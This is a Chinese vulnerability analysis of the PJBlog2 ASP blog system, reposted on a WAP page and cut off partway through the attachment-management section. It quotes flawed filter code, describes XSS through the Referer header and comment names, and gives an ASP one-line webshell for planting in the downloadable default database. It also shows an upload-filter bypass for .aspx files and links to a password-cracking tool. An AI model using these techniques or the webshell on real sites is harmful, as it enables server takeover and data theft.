
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
	<head><meta forua="true" http-equiv="Cache-Control" content="max-age=0" /></head><card id="MainCard" title="&#x6B22;&#x8FCE;&#x5149;&#x4E34;"><p><a href="wap.asp">&#x6728;&#x5B50;&#x5C4B;</a><br/>&nbsp;</p><p><b>&#x6807;&#x9898;&#x3A;</b> &#x50;&#x4A;&#x42;&#x6C;&#x6F;&#x67;&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</p><p><b>&#x4F5C;&#x8005;&#x3A;</b> &#x64;&#x6E;&#x61;&#x77;&#x6F;</p><p><b>&#x65E5;&#x671F;&#x3A;</b> &#x32;&#x30;&#x30;&#x37;&#x2D;&#x30;&#x33;&#x2D;&#x31;&#x38;&#x20;&#x30;&#x39;&#x3A;&#x32;&#x32;&#x20;&#x41;&#x4D;</p><p><b>&#x5206;&#x7C7B;&#x3A;</b> <a href="wap.asp?do=showLog&amp;cateID=11">&#x7F51;&#x7EDC;&#x7834;&#x89E3;</a></p><p><b>&#x5185;&#x5BB9;&#x3A;</b> &#x4FE1;&#x606F;&#x6765;&#x6E90;: &#x7F51;&#x5B89;&#x4E2D;&#x56FD; (bbs.nschina.com)<br/>Author&#xFF1A;lake2&#xFF0C;http://lake2.0x54.org<br/>Date&#xFF1A;2006-1-1<br/>PJBlog2&#x662F;PuterJam&#x5F00;&#x53D1;&#x7684;&#x4E00;&#x6B3E;&#x514D;&#x8D39;&#x7684;ASP + Access&#x7684;&#x4E2A;&#x4EBA;blog&#x7CFB;&#x7EDF;&#xFF0C;&#x8FD9;&#x51E0;&#x5929;&#x5076;&#x60F3;&#x5F04;&#x4E2A;blog&#x6765;&#x73A9;&#x73A9;&#xFF0C;&#x7ECF;&#x8FC7;&#x6BD4;&#x8F83;&#x9009;&#x4E2D;&#x4E86;&#x529F;&#x80FD;&#x3001;&#x754C;&#x9762;&#x90FD;&#x76F8;&#x5BF9;&#x8F83;&#x597D;&#x7684;PJBlog2&#x3002;&#x7ECF;&#x8FC7;&#x8BD5;&#x7528;&#xFF0C;&#x611F;&#x89C9;&#x8FD9;blog&#x8FD8;&#x4E0D;&#x9519;&#xFF0C;&#x4E5F;&#x53D1;&#x73B0;&#x51E0;&#x4E2A;&#x5B89;&#x5168;&#x65B9;&#x9762;&#x7684;&#x5C0F;&#x95EE;&#x9898;&#xFF0C;&#x5C31;&#x628A;&#x6211;&#x7684;&#x4E00;&#x70B9;&#x70B9;&#x89C1;&#x89E3;&#x53D1;&#x51FA;&#x6765;&#x3002;&#x6211;&#x5206;&#x6790;&#x7684;&#x7248;&#x672C;&#x662F;05&#x5E74;12&#x6708;11&#x65E5;&#x53D1;&#x5E03;&#x7684;PJBlog2 v2.4.1211&#x7248;&#x672C;&#x3002;<br/>&#x4E00;&#x3001; &#x5BC6;&#x7801;&#x52A0;&#x5BC6;&#x7B97;&#x6CD5;<br/>PJBlog2&#x6CA1;&#x6709;&#x91C7;&#x7528;&#x5E38;&#x7528;&#x7684;MD5&#x7B97;&#x6CD5;&#x5BF9;&#x7528;&#x6237;&#x5BC6;&#x7801;&#x52A0;&#x5BC6;&#xFF0C;&#x800C;&#x662F;&#x4F7F;&#x7528;&#x7684;SHA1&#x7B97;&#x6CD5;&#x3002;SHA1&#x7B97;&#x6CD5;&#x8DDF;MD5&#x7C7B;&#x4F3C;&#xFF0C;&#x4E5F;&#x662F;&#x5355;&#x5411;&#x6563;&#x5217;&#x51FD;&#x6570;&#xFF0C;&#x4E0D;&#x8FC7;&#x5B83;&#x5BF9;&#x4EFB;&#x610F;&#x957F;&#x5EA6;&#x7684;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x5904;&#x7406;&#x8F93;&#x51FA;160&#x4F4D;&#x7684;&#x6570;&#x503C;&#x3002;<br/>PJBlog2&#x5728;&#x521B;&#x5EFA;&#x65B0;&#x7528;&#x6237;&#x7684;&#x65F6;&#x5019;&#x4F1A;&#x968F;&#x673A;&#x751F;&#x6210;&#x4E00;&#x4E2A;6&#x4F4D;&#x7684;&#x5B57;&#x7B26;&#x4E32;Salt&#xFF0C;&#x7528;&#x6237;&#x7684;&#x660E;&#x6587;&#x5BC6;&#x7801;&#x52A0;&#x4E0A;&#x8FD9;&#x4E2A;Salt&#x503C;&#x518D;&#x8FDB;&#x884C;hash&#x624D;&#x5F97;&#x5230;&#x52A0;&#x5BC6;&#x540E;&#x7684;&#x5BC6;&#x7801;&#x3002;&#x5373;&#xFF1A;Password = SHA1(user_pwd &amp; Salt)&#x3002;&#x8FD9;&#x6837;&#x5B50;&#x505A;&#x7684;&#x597D;&#x5904;&#x662F;&#x5373;&#x4F7F;&#x4E24;&#x4E2A;&#x4E00;&#x6837;&#x7684;&#x5BC6;&#x7801;hash&#x540E;&#x7684;&#x7ED3;&#x679C;&#x4E5F;&#x5B8C;&#x5168;&#x4E0D;&#x540C;&#x3002;&#x8FD9;&#x4E2A;&#x7A0D;&#x5FAE;&#x201C;&#x53E6;&#x7C7B;&#x201D;&#x7684;&#x7B97;&#x6CD5;&#x7ED9;&#x7834;&#x89E3;&#x5BC6;&#x7801;&#x5E26;&#x6765;&#x4E86;&#x70B9;&#x96BE;&#x5EA6;&#x3002;<br/>&#x5475;&#x5475;&#xFF0C;&#x6709;&#x96BE;&#x5EA6;&#x4E0D;&#x7B49;&#x4E8E;&#x4E0D;&#x80FD;&#x7834;&#x89E3;&#xFF0C;&#x7F51;&#x4E0A;&#x6CA1;&#x6709;&#x73B0;&#x6210;&#x7684;&#x7A0B;&#x5E8F;&#xFF0C;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x52A8;&#x624B;&#x5199;&#x4E2A;&#x624D;&#x662F;&#x3002;&#x56E0;&#x4E3A;.NET&#x63D0;&#x4F9B;&#x4E86;SHA1&#x7684;&#x7C7B;&#x6240;&#x4EE5;&#x6700;&#x521D;&#x7528;VB.Net&#x5199;&#x7684;&#xFF0C;&#x7531;&#x4E8E;&#x72C2;&#x8017;&#x8D44;&#x6E90;&#x7684;&#x95EE;&#x9898;&#x4E00;&#x76F4;&#x89E3;&#x51B3;&#x4E0D;&#x4E86;&#xFF0C;&#x53EA;&#x597D;&#x6362;C&#x4E86;&#x3002;&#x7528;C&#x5B9E;&#x73B0;SHA1&#x7684;&#x6E90;&#x4EE3;&#x7801;&#x6211;&#x627E;&#x4E86;&#x597D;&#x4E45;&#x624D;&#x5728;&#x4E00;&#x4E2A;&#x8001;&#x5916;&#x7684;&#x7AD9;&#x627E;&#x5230;&#xFF0C;&#x8FD8;&#x4E0D;&#x9519;&#xFF0C;&#x5475;&#x5475;&#xFF0C;&#x6709;&#x5174;&#x8DA3;&#x7684;&#x53EF;&#x4EE5;&#x770B;&#x4E0B;&#x8001;&#x5916;&#x7684;SHA1&#x7C7B;&#xFF1A;http://www.codeproject.com/cpp/csha1.asp<br/>&#x7A0B;&#x5E8F;&#x53EF;&#x4EE5;&#x5728;&#x8FD9;&#x91CC;&#xFF08; http://www.0x54.org/lake2/program/PJBlogCracker.exe &#xFF09;&#x4E0B;&#x8F7D;&#xFF0C;&#x662F;&#x547D;&#x4EE4;&#x884C;&#x4E0B;&#x7684;&#xFF0C;&#x529F;&#x80FD;&#x6BD4;&#x8F83;&#x5F31;&#xFF0C;&#x5355;&#x7EBF;&#x7A0B;&#x901F;&#x5EA6;&#x8D85;&#x7EA7;&#x6162;&#xFF0C;&#x53EF;&#x80FD;&#x8FD8;&#x6709;bug&#xFF0C;&#x8BF8;&#x591A;&#x95EE;&#x9898;&#x4EE5;&#x540E;&#x518D;&#x6539;&#x54AF;&#x3002;<br/>&#x4E8C;&#x3001; &#x767B;&#x9646;&#x8BA4;&#x8BC1;<br/>PJBlog2&#x7684;&#x8BA4;&#x8BC1;&#x65B9;&#x5F0F;&#x662F;&#x7528;&#x7684;Cookies&#x52A0;IP&#x3002;&#x5F53;&#x7528;&#x6237;&#x767B;&#x9646;&#x6210;&#x529F;&#xFF0C;&#x7CFB;&#x7EDF;&#x968F;&#x673A;&#x4EA7;&#x751F;&#x4E00;&#x4E2A;Hashkey&#x5199;&#x5165;Cookies&#x5E76;&#x8BB0;&#x5F55;&#x5230;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#xFF0C;&#x7136;&#x540E;&#x901A;&#x8FC7;Cookies&#x91CC;&#x7684;Hashkey&#x3001;Username&#x8FD8;&#x6709;IP&#x6765;&#x5224;&#x65AD;&#x7528;&#x6237;&#x3002;Cookies&#x597D;&#x529E;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;&#x8DE8;&#x7AD9;&#x3001;&#x4E0B;&#x6570;&#x636E;&#x5E93;&#x7B49;&#x65B9;&#x5F0F;&#x62FF;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;IP&#x5C31;&#x96BE;&#x529E;&#x4E86;&#xFF0C;&#x770B;&#x6765;&#x8FDB;&#x884C;Cookies&#x6B3A;&#x9A97;&#x7684;&#x53EF;&#x80FD;&#x6027;&#x5F88;&#x5C0F;&#x554A;&#x3002;&#x5475;&#x5475;&#xFF0C;&#x90A3;&#x5C31;&#x4E0D;&#x770B;&#x8FD9;&#x4E2A;&#x54AF;&#x3002;<br/>&#x4E09;&#x3001; &#x51E0;&#x4E2A;&#x5730;&#x65B9;&#x8FC7;&#x6EE4;&#x4E0D;&#x4E25;<br/>&#x7B2C;&#x4E00;&#x4E2A;&#x5C31;&#x662F;&#x7EDF;&#x8BA1;&#x8BBF;&#x95EE;&#x7684;referer&#x8FC7;&#x6EE4;&#x4E0D;&#x4E25;&#x3002;&#x770B;&#xFF1A;<br/>Guest_Refer=Trim(Request.ServerVariables(&#34;HTTP_REFERER&#34;))<br/>Conn.ExeCute(&#34;Ins&#101;rt INTO blog_Counter(coun_IP,coun_OS,coun_Browser,coun_Referer) VALUES (&#39;&#34;&amp;Guest_IP&amp;&#34;&#39;,&#39;&#34;&amp;Guest_Browser(1)&amp;&#34;&#39;,&#39;&#34;&amp;Guest_Browser(0)&amp;&#34;&#39;,&#39;&#34;&amp;CheckStr(Guest_Refer)&amp;&#34;&#39;)&#34;)<br/>&#x5475;&#x5475;&#xFF0C;&#x53EA;&#x662F;&#x628A;referer&#x8FC7;&#x6EE4;&#x540E;&#x7528;CheckStr&#x68C0;&#x67E5;&#x4E4B;&#xFF0C;&#x770B;CheckStr&#x4EE3;&#x7801;&#xFF1A;<br/>&#39;*************************************<br/>&#39;&#x8FC7;&#x6EE4;&#x7279;&#x6B8A;&#x5B57;&#x7B26;<br/>&#39;*************************************<br/>Function CheckStr(byVal ChkStr) <br/>&#160;&#160;&#160;&#160;Dim Str:Str=ChkStr<br/>&#160;&#160;&#160;&#160;If IsNull(Str) Then<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CheckStr = &#34;&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Exit Function <br/>&#160;&#160;&#160;&#160;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = Replace(Str, &#34;&amp;&#34;, &#34;&amp;amp;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = Replace(Str,&#34;&#39;&#34;,&#34;&amp;#39;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = Replace(Str,&#34;&#34;&#34;&#34;,&#34;&amp;#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim re<br/>&nbsp;&nbsp;&nbsp;&nbsp;Set re=new RegExp<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.IgnoreCase =True<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.Global=True<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.Pattern=&#34;(w)(here)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1h&amp;#101;re&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(s)(elect)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1el&amp;#101;ct&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(i)(nsert)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1ns&amp;#101;rt&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(c)(reate)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1r&amp;#101;ate&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(d)(rop)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1ro&amp;#112;&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(a)(lter)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1lt&amp;#101;r&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(d)(elete)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1el&amp;#101;te&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(u)(pdate)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1p&amp;#100;ate&#34;)<br/>&#160;&#160;&#160;&#160;re.Pattern=&#34;(\s)(or)&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;$1o&amp;#114;&#34;)<br/>&#160;&#160;&#160;&#160;Set re=Nothing<br/>&#160;&#160;&#160;&#160;CheckStr=Str<br/>End Function<br/>&#x8FC7;&#x6EE4;&#x4E86;&#x5355;&#x5F15;&#x53F7;&#x3001;&#x53CC;&#x5F15;&#x53F7;&#x3001;&#x8FDE;&#x63A5;&#x7B26;&#x7B49;&#xFF0C;&#x4E0D;&#x8FC7;&#x6700;&#x91CD;&#x8981;&#x7684;&#x201C;&lt;&#x201D;&#x548C;&#x201C;&gt;&#x201D;&#x5374;&#x6CA1;&#x6709;&#x8FC7;&#x6EE4;&#x3002;&#x5475;&#x5475;&#xFF0C;&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#x653B;&#x51FB;&#x53C8;&#x6709;&#x7528;&#x6B66;&#x4E4B;&#x5730;&#x4E86;&#x3002;&#x6CE8;&#x610F;&#x53EA;&#x663E;&#x793A;&#x524D;&#x9762;40&#x4E2A;&#x5B57;&#x7B26;&#x5728;&#x9875;&#x9762;&#xFF0C;&#x8981;&#x597D;&#x597D;&#x6784;&#x9020;&#x54E6;&#x3002;<br/>&#x7B2C;&#x4E8C;&#x5C31;&#x662F;&#x6E38;&#x5BA2;&#x8BC4;&#x8BBA;&#x8F93;&#x5165;&#x7528;&#x6237;&#x540D;&#x4E5F;&#x662F;&#x7528;&#x7684;CheckStr&#x8FC7;&#x6EE4;&#xFF0C;&#x7528;&#x6237;&#x540D;&#x6570;&#x636E;&#x5E93;&#x6709;&#x9650;&#x5236;&#xFF0C;24&#x4E2A;&#x5B57;&#x7B26;&#xFF0C;&#x8FD9;&#x91CC;&#x6784;&#x9020;CSS&#x5C31;&#x66F4;&#x6709;&#x96BE;&#x5EA6;&#x4E86;&#xFF0C;&#x4E0D;&#x8FC7;&#x53EF;&#x4EE5;&#x6709;&#x522B;&#x7684;&#x7528;&#x5904;&#xFF0C;&#x5177;&#x4F53;&#x7684;&#x561B;&#xFF0C;&#x5475;&#x5475;&#xFF0C;&#x540E;&#x6587;&#x8BE6;&#x8FF0;&#x3002;<br/>&#x6709;&#x4E9B;blog&#x4E3B;&#x4EBA;&#x7981;&#x6B62;&#x4E86;&#x6E38;&#x5BA2;&#x8BC4;&#x8BBA;&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x53EA;&#x597D;&#x6CE8;&#x518C;&#x540E;&#x518D;&#x8BC4;&#x8BBA;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x6CE8;&#x518C;&#x540E;&#x8BC4;&#x8BBA;&#x7684;&#x540D;&#x5B57;&#x6587;&#x672C;&#x6846;&#x88AB;&#x8BBE;&#x6210;&#x4E86;&#x6CE8;&#x518C;&#x540D;&#x800C;&#x4E14;&#x53EA;&#x8BFB;&#xFF0C;&#x600E;&#x4E48;&#x529E;&#xFF1F;&#x5475;&#x5475;&#xFF0C;&#x6CA1;&#x5173;&#x7CFB;&#xFF0C;&#x53EF;&#x4EE5;&#x5916;&#x90E8;&#x63D0;&#x4EA4;&#x6570;&#x636E;&#x7684;&#x3002;<br/>&#x518D;&#x4E00;&#x4E2A;&#x5C31;&#x662F;blog&#x7684;&#x7559;&#x8A00;&#x677F;&#x63D2;&#x4EF6;&#xFF0C;&#x8FD8;&#x662F;&#x7528;&#x6237;&#x540D;&#x6CA1;&#x8FC7;&#x6EE4;&#x597D;&#xFF0C;&#x8FD9;&#x4E2A;&#x66F4;&#x96BE;&#x5229;&#x7528;&#xFF0C;&#x53EA;&#x6709;20&#x4E2A;&#x5B57;&#x7B26;&#x54E6;&#x3002;<br/>&#x56DB;&#x3001; &#x6570;&#x636E;&#x5E93;&#x7684;&#x95EE;&#x9898;<br/>PJBlog2&#x7684;&#x9ED8;&#x8BA4;&#x6570;&#x636E;&#x5E93;&#x540D;&#x4E3A;pblog.asp&#xFF0C;&#x867D;&#x7136;&#x6570;&#x636E;&#x5E93;&#x91CC;&#x9762;&#x6709;&#x4E2A;&#x8C8C;&#x4F3C;&#x9632;&#x4E0B;&#x8F7D;&#x7684;blog_Notdownload&#x8868;&#xFF0C;&#x5475;&#x5475;&#xFF0C;&#x8BBF;&#x95EE;&#x6570;&#x636E;&#x5E93;&#x8BD5;&#x8BD5;&#xFF0C;&#x53EF;&#x4EE5;&#x4E0B;&#x8F7D;&#x7684;&#x54E6;&#x3002;<br/>&#x65E2;&#x7136;&#x53EF;&#x4EE5;&#x4E0B;&#x8F7D;&#xFF0C;&#x5F53;&#x7136;&#x53EF;&#x4EE5;&#x63D2;&#x5165;asp&#x4EE3;&#x7801;&#x8FD0;&#x884C;&#x54AF;&#x3002;&#x6709;&#x4E9B;&#x5730;&#x65B9;&#xFF08;&#x6BD4;&#x5982;&#x6E38;&#x5BA2;&#x8BC4;&#x8BBA;&#x5185;&#x5BB9;&#xFF09;&#x63D2;&#x5165;asp&#x4EE3;&#x7801;&#x4F1A;&#x88AB;&#x626F;&#x5F00;&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x539F;&#x56E0;&#xFF0C;&#x90C1;&#x95F7;&#x3002;<br/>&#x7ECF;&#x6D4B;&#x8BD5;&#x8BC4;&#x8BBA;&#x7684;&#x59D3;&#x540D;&#x91CC;&#x662F;&#x53EF;&#x4EE5;&#x63D2;ASP&#x4EE3;&#x7801;&#x7684;&#x3002;&#x524D;&#x9762;&#x8BF4;&#x4E86;&#x8FD9;&#x91CC;&#x8FC7;&#x6EE4;&#x4E0D;&#x4E25;&#xFF0C;&#x8FD9;&#x6837;&#x63D2;&#x5165;&#x6570;&#x636E;&#x5E93;&#x7684;asp&#x4E0D;&#x4F1A;&#x88AB;&#x663E;&#x793A;&#x51FA;&#x6765;&#x7684;&#xFF0C;&#x770B;&#x5230;&#x7684;&#x53EA;&#x662F;&#x4E2A;&#x6CA1;&#x540D;&#x5B57;&#x7684;&#x5BB6;&#x4F19;&#x5728;&#x5527;&#x5527;&#x6B6A;&#x6B6A;&#xFF0C;&#x5475;&#x5475;&#x3002;&#x8FD9;&#x4E2A;&#x53EF;&#x8981;&#x597D;&#x597D;&#x6784;&#x9020;&#x54E6;&#xFF0C;24&#x4E2A;&#x5B57;&#x7B26;&#x800C;&#x4E14;&#34;&#x88AB;&#x8FC7;&#x6EE4;&#x4E86;&#xFF0C;&#x60F3;&#x4E86;&#x4E00;&#x4E0B;&#xFF0C;&#x6B63;&#x597D;&#x627E;&#x5230;&#x4E00;&#x4E2A;&#x6700;&#x77ED;&#x7684;&#xFF0C;&#x6070;&#x597D;24&#x4E2A;&#x5B57;&#x7B26;&#xFF1A;&lt;%eval request(chr(9))%&gt;<br/>&#x7559;&#x8A00;&#x7248;&#x7684;&#x5185;&#x5BB9;&#x4E5F;&#x53EF;&#x4EE5;&#x63D2;&#x5165;asp&#x4EE3;&#x7801;&#xFF0C;&#x4E0D;&#x8FC7;&#x7BA1;&#x7406;&#x5458;&#x770B;&#x7559;&#x8A00;&#x65F6;&#x770B;&#x5F97;&#x5230;&#x7684;&#x54E6;&#x3002;<br/>&#x5475;&#x5475;&#xFF0C;&#x5F53;&#x7136;&#x5927;&#x591A;&#x6570;&#x7AD9;&#x957F;&#x5E94;&#x8BE5;&#x90FD;&#x662F;&#x6539;&#x4E86;&#x6570;&#x636E;&#x5E93;&#x540D;&#x79F0;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x6D4B;&#x8BD5;&#x65F6;&#x8FD8;&#x662F;&#x53D1;&#x73B0;&#x5C11;&#x6570;&#x4EBA;&#x4E0D;&#x6539;&#x2026;&#x2026;<br/>&#x4E94;&#x3001; &#x4E0A;&#x4F20;&#x6587;&#x4EF6;<br/>&#x51FA;&#x4E8E;&#x5B89;&#x5168;&#x7684;&#x8003;&#x8651;&#xFF0C;PJBlog2&#x9650;&#x5236;&#x4E86;&#x4E0A;&#x4F20;&#x6587;&#x4EF6;&#x7C7B;&#x578B;&#xFF0C;&#x5305;&#x62EC;asp&#x3001;asa&#x3001;aspx&#x3001;cer&#x3001;cdx&#x3001;htr&#x3002;&#x5176;&#x5B9E;&#x73B0;&#x5728;&#x5F88;&#x591A;&#x865A;&#x62DF;&#x4E3B;&#x673A;&#x4E0D;&#x4EC5;&#x652F;&#x6301;asp&#xFF0C;&#x8FD8;&#x4F1A;&#x652F;&#x6301;aspx&#x3001;php&#x3001;perl&#x7684;&#xFF0C;&#x800C;&#x4E14;&#x4E5F;&#x53EF;&#x4EE5;&#x4E0A;&#x4F20;shtml&#x7B49;&#x683C;&#x5F0F;&#xFF0C;&#x6240;&#x4EE5;&#x5982;&#x679C;&#x65E2;&#x7136;&#x8981;&#x9650;&#x5236;&#x6700;&#x597D;&#x662F;&#x628A;&#x6240;&#x6709;&#x670D;&#x52A1;&#x5668;&#x6267;&#x884C;&#x6587;&#x4EF6;&#x7684;&#x7C7B;&#x578B;&#x4E00;&#x8D77;&#x9650;&#x5236;&#x624D;&#x662F;&#x3002;<br/>&#x4E0A;&#x4F20;&#x6587;&#x4EF6;&#x8FD9;&#x91CC;&#x8FD8;&#x6709;&#x70B9;&#x95EE;&#x9898;&#xFF0C;&#x770B;attachment.asp&#x91CC;&#x7684;&#x4EE3;&#x7801;&#xFF1A;<br/>Dim F_File,F_Type<br/>Set F_File=FileUP.File(&#34;File&#34;)<br/>F_Name=randomStr(1)&amp;Year(now)&amp;Month(now)&amp;Day(now)&amp;Hour(now)&amp;Minute(now)&amp;Second(now)&amp;&#34;.&#34;&amp;F_File.FileExt<br/>F_Type=FixName(F_File.FileExt)<br/>IF F_File.FileSize &gt; Int(UP_FileSize) Then<br/>&#160;&#160;&#160;&#160;Response.Write(&#34;&lt;div style=&#34;&#34;padding:6px&#34;&#34;&gt;&lt;a href=&#39;attachment.asp&#39;&gt;&#x6587;&#x4EF6;&#x5927;&#x5C0F;&#x8D85;&#x51FA;&#xFF0C;&#x8BF7;&#x8FD4;&#x56DE;&#x91CD;&#x65B0;&#x4E0A;&#x4F20;&lt;/a&gt;&lt;/div&gt;&#34;)<br/>ElseIF IsvalidFile(UCase(F_Type)) = False Then<br/>&#160;&#160;&#160;&#160;Response.Write(&#34;&lt;div style=&#34;&#34;padding:6px&#34;&#34;&gt;&lt;a href=&#39;attachment.asp&#39;&gt;&#x6587;&#x4EF6;&#x683C;&#x5F0F;&#x975E;&#x6CD5;&#xFF0C;&#x8BF7;&#x8FD4;&#x56DE;&#x91CD;&#x65B0;&#x4E0A;&#x4F20;&lt;/a&gt;&lt;/div&gt;&#34;)<br/>Else<br/>&#160;&#160;&#160;&#160;F_File.SaveAs Server.MapPath(&#34;attachments/&#34;&amp;D_Name&amp;&#34;/&#34;&amp;F_Name)<br/>&#160;&#160;&#160;&#160;response.write &#34;&lt;script&gt;addUploadItem(&#39;&#34;&amp;F_Type&amp;&#34;&#39;,&#39;attachments/&#34;&amp;D_Name&amp;&#34;/&#34;&amp;F_Name&amp;&#34;&#39;,&#34;&amp;Request.QueryString(&#34;MSave&#34;)&amp;&#34;)&lt;/script&gt;&#34;<br/>&#160;&#160;&#160;&#160;Response.Write(&#34;&lt;div style=&#34;&#34;padding:6px&#34;&#34;&gt;&lt;a href=&#39;attachment.asp&#39;&gt;&#x6587;&#x4EF6;&#x4E0A;&#x4F20;&#x6210;&#x529F;&#xFF0C;&#x8BF7;&#x8FD4;&#x56DE;&#x7EE7;&#x7EED;&#x4E0A;&#x4F20;&lt;/a&gt;&lt;/div&gt;&#34;)<br/>End IF<br/>Set F_File=Nothing<br/>Set FileUP=Nothing<br/>&#x4FDD;&#x5B58;&#x6587;&#x4EF6;&#x7684;&#x540E;&#x7F00;&#x662F;F_File.FileExt&#xFF0C;&#x800C;&#x68C0;&#x67E5;&#x7684;&#x662F;&#x7ECF;&#x8FC7;FixName()&#x51FD;&#x6570;&#x5904;&#x7406;&#x7684;&#x540E;&#x7F00;&#xFF0C;&#x90A3;&#x5C31;&#x770B;&#x770B;fixname&#x51FD;&#x6570;&#x5B9A;&#x4E49;&#xFF0C;&#x5728;function.asp&#x4E2D;&#xFF1A;<br/>Function FixName(UpFileExt)<br/>&#160;&#160;&#160;&#160;If IsEmpty(UpFileExt) Then Exit Function<br/>&#160;&#160;&#160;&#160;FixName = Ucase(UpFileExt)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,Chr(0),&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;.&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;ASP&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;ASA&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;ASPX&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;CER&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;CDX&#34;,&#34;&#34;)<br/>&#160;&#160;&#160;&#160;FixName = Replace(FixName,&#34;HTR&#34;,&#34;&#34;)<br/>End Function<br/>&#x5475;&#x5475;&#xFF0C;&#x5B83;&#x628A;&#x5371;&#x9669;&#x540E;&#x7F00;&#x8FC7;&#x6EE4;&#x4E86;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x7684;&#x6587;&#x4EF6;&#x540E;&#x7F00;&#x662F;asp(0x00)gif&#xFF0C;&#x90A3;&#x4E48;&#x68C0;&#x67E5;&#x7684;&#x65F6;&#x5019;&#x8FC7;&#x6EE4;chr(0)&#x548C;asp&#xFF0C;&#x540E;&#x7F00;&#x5C31;&#x6210;&#x4E86;gif&#xFF0C;&#x901A;&#x8FC7;&#xFF0C;&#x4FDD;&#x5B58;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x662F;asp(0x00)gif&#x3002;&#x4ECE;&#x7406;&#x8BBA;&#x4E0A;&#x6765;&#x8BF4;&#x662F;&#x5BF9;&#x7684;&#x554A;&#xFF0C;&#x6211;&#x641E;&#x4E86;&#x534A;&#x5929;&#x4E5F;&#x4E0D;&#x884C;&#xFF0C;&#x90C1;&#x95F7;&#x3002;&#x6709;&#x77E5;&#x9053;&#x7684;&#x5927;&#x4FA0;&#x544A;&#x8BC9;&#x6211;&#x554A;&#x3002;<br/>&#x4E0D;&#x8FC7;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x8FD9;&#x4E2A;&#x4E0A;&#x4F20;aspx&#x683C;&#x5F0F;&#x3002;&#x5475;&#x5475;&#xFF0C;&#x6211;&#x4EEC;&#x4E0A;&#x4F20;aspx&#x6587;&#x4EF6;&#xFF0C;fixname&#x51FD;&#x6570;&#x8FC7;&#x6EE4;asp&#xFF0C;&#x4E8E;&#x662F;&#x540E;&#x7F00;&#x5C31;&#x6210;&#x4E86;x&#x3002;&#x53EA;&#x8981;&#x628A;x&#x8BBE;&#x4E3A;&#x53EF;&#x4EE5;&#x4E0A;&#x4F20;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x4F20;aspx&#x6587;&#x4EF6;&#x4E86;&#x3002;<br/>&#x516D;&#x3001; &#x9644;&#x4EF6;&#x7BA1;&#x7406;&#x95EE;&#x9898;<br/>&#x7BA1;&#x7406;&#x5458;&#x767B;&#x9646;&#x540E;&#x6709;&#x4E2A;&#x9644;&#x4EF6;&#x7BA1;&#x7406;&#x529F;&#x80FD;&#xFF0C;&#x770B;&#x4ED6;&#x53C2;&#x6570;&#x7C7B;&#x4F3C;&#x4E8E;http://localhost/blog/ConContent.asp?Fmenu=SQLFile&amp;Smenu=Attachments&amp;AttPath=attachments/month_0512&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6307;&#x5B9A;AttPath&#x6D4F;&#x89C8;web&#x76EE;&#x5F55;&#x7684;&#x54E6;&#x3002;<br/>&#x4F46;&#x662F;&#x7CFB;&#x7EDF;&#x9650;&#x5236;&#x4E86;&#x7AD9;&#x5916;&#x63D0;&#x4EA4;&#x6570;&#x636E;&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x80FD;&#x76F4;&#x63A5;&#